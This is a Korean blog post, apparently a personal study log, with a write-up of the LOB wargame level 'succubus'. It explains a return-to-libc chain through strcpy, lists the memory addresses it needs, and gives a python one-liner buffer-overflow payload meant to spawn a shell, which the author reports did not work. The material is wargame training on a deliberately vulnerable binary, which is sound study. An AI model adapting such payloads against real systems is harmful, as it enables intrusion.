일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- 기능개발
- logistic regression
- 인공지능
- AI
- Linear_regression
- Softmax classification
- Algorithm
- tensorflow
- programmers
- Python
- leg
- 텐서플로
- pwnable.kr
- Today
- Total
나혼자 공부장
[LOB] Level18 'succubus' write-up 본문
소스 파일을 봤을 때, 알 수 있는 제약 사항은 두가지다.
1. strcpy 함수 주소로 리턴을 받아야 하고
2. strcpy 함수 이후 공간에는 AAAA 를 넣을 것이니 리턴받을 strcpy 함수를 이용해 뭔가 익스플로잇을 해야한다.
일단 스택은 이렇게 생겼을 것이다.
제약사항들을 고려해서 시나리오를 구상해보자.
1. buffer+sfp의 44바이트를 system("/bin/sh") 공간으로 채우고
2. strcpy로 리턴을 받은 후
3. strcpy의 인자로는 destination은 RET+4, source는 &buffer로 전달해준다면
4. strcpy가 실행되면서 AAAA의 공간을 buffer의 주소로 채워주기 때문에
5. strcpy 종료 후 buffer 주소로 RET
6. buffer 주소에 있었던 system("/bin/sh") 실행
7. my-pass 입력, pw 획득
요약하자면 위 스택처럼 만들겠다는 의미이다.
시나리오대로 구성하려면 필요한 재료는 다섯가지다.
strcpy
system
/bin/sh
&buffer
RET+4
하나씩 구해보자.
strcpy - 0x8048410
system - 0x40058ae0
/bin/sh - 0x400fbff9
&buffer - 0xbffffa90
RET+4 - 0xbffffa88
그렇다면 위에서 그렸던 스택 구조를 참고해서 페이로드를 짤 수 있다.
`python -c 'print "\xe0\x8a\x05\x40"+"dumm"+"\xf9\xbf\x0f\x40"+"\x90"*32+"\x10\x84\x04\x08"+"dumm"+"\x88\xfa\xff\xbf"+"\x90\xfa\xff\xbf"'`
문법도 전부 체크하고 몇 번이나 시도를 해봤으나 되지 않았다.
아마 주소를 모두 복사본 기준으로 구했다 보니 원본과 주소가 조금 달랐을 수도 있겠다.
'pwnable > LOB' 카테고리의 다른 글
[LOB] Level 5 'orc' write-up (0) | 2019.12.05 |
---|---|
[LOB] Level9 'troll' write-up (0) | 2019.12.05 |
[LOB] Level 2 write-up (0) | 2019.11.27 |